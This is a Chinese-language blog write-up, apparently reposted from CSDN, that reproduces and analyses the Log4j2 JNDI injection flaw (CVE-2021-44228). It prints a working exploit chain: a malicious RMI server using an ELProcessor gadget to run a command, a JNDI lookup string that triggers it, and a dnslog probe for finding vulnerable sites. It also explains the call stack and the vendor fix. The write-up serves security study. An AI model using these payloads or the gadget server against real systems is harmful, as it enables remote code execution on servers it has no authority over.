Log4j2之JNDI注入(CVE-2021-44228)

前言:

        首先要了解什么是Log4j2,Log4j2是一个Java日志组件,主要用于对日志的记录。

        这次漏洞出现在Log4j2的Lookup功能,使用Lookup可以在日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。但是这里可以被恶意利用。未经身份验证的远程攻击者可以通过向运行有漏洞的 log4j 版本的服务器发送精心编制的请求来利用此漏洞。精心编制的请求通过各种服务使用 Java 命名和目录接口 (JNDI) 注入,这些服务包括:

  • 轻型目录访问协议 (LDAP)
  • 安全的 LDAP (LDAPS)
  • 远程访问调用 (RMI)
  • 域名服务 (DNS)

        如果有漏洞的服务器使用 Log4j2来记录请求,则该漏洞利用将通过上述服务之一从攻击者控制的服务器请求针对 JNDI 的恶意有效负载。漏洞利用得手可能会造成 RCE。

        目前存在漏洞的Log4j2版本:

        Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)

        另外就是利用中对jdk版本的限制,高版本的java环境远程rce需要绕过。

基础:

        首先我们写个基本的使用Log4j2记录的功能:

package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2_cve {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2_cve.class);

    public static void main(String[] args) {
        ThreadContext.put("userId", "test");
        LOGGER.error("userId: ${ctx:userId}");
    }
}

        代码功能就是根据上下文,将userId的内容进行输出,这样做的好处就是可以方便对日志的审查,进而更好的分析日志:

但是官方说明允许通过 JNDI 检索变量: 

        这就带来了问题。

复现:

         首先我们编写受攻击服务器代码:

package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2_cve {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2_cve.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
    }
}

        代码直接调用rmi访问我们的自己搭建的服务器

        自己搭建的服务器代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main_poc {
    public static void main(String[] args) throws Exception {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("exp", referenceWrapper);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }

    }
}

         因为我的jdk版本为1.8,默认trustURLCodebase为false,不能加载远程代码,所以这里采用反射ELProcessor执行elf表达式来绕过限制,或者可以使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具搭建服务器。

        先执行我们自己搭建的服务器,然后执行被攻击端代码,可以看到弹出计算器:

 代码分析:

        这里我们有必要研究下到底为何存在漏洞,首先我们看看漏洞触发的调用栈:

        在传入参数${jndi:rmi://127.0.0.1:1099/exp}重要的几个位置,首先MessagePatternConverter的format方法,这里会匹配是否为${}格式:

         而后进入StrSubstitutor的resolveVariable方法,这里会获取使用的变量解析器,这里可以看到可以使用的解析方式有{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j},我们这里使用的是jndi:

        而后调用lookup和我们搭建的服务器通信,加载远程代码执行:

         整个的调用逻辑很清晰,就是我们传入${jndi:rmi://127.0.0.1:1099/exp}后会判断格式是否为${},如果是则读取变量的解析方式,当为jndi的时候会调用lookup方法,进而加载我们的恶意代码。

        最后官方的修复方案也是在新版本的2.16.0,Log4j2团队干脆默认禁用掉了JNDI Lookup功能,简单粗暴。

探测方法:

        在我们对网站扫描中,我们要如何发现网站是否存在漏洞,如果我们直接使用rmi或者ldap进行注入,可能由于jdk版本问题或者内部网络环境问题无法得到有效回显,这里我们可以使用DNS协议进行判断:

        被攻击侧代码:

package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2_cve {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2_cve.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:dns://yx796p.dnslog.cn}");
    }
}

        运行后可以看到在远程的dnslog平台已经有了回显:

         这里我们可以使用:${jndi:dns://yx796p.dnslog.cn}  编码后再网页的接口进行测试,当触发了错误或者写日志的代码,就可以成功访问我们的dnslog平台,也就可以判断是否存在漏洞,进而进行下一步攻击最终rce。

后记:

        这里进行下总结,在利用Log4j2的CVE-2021-44228中,我们可以使用JNDI注入,其中我们可以使用rmi或者ldap进行远程rce,我们可以自己搭建服务器,也可以使用工具一建化搭建服务器,但是考虑到被攻击测的版本问题,当版本较高的时候,默认是不能加载我们的远程代码,这时我们可以使用DNS协议根据dnslog的输出判断是否存在漏洞,确定存在后再进行rmi注入,并根据是否执行来判断jdk版本来判断是否需要绕过。

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/131379854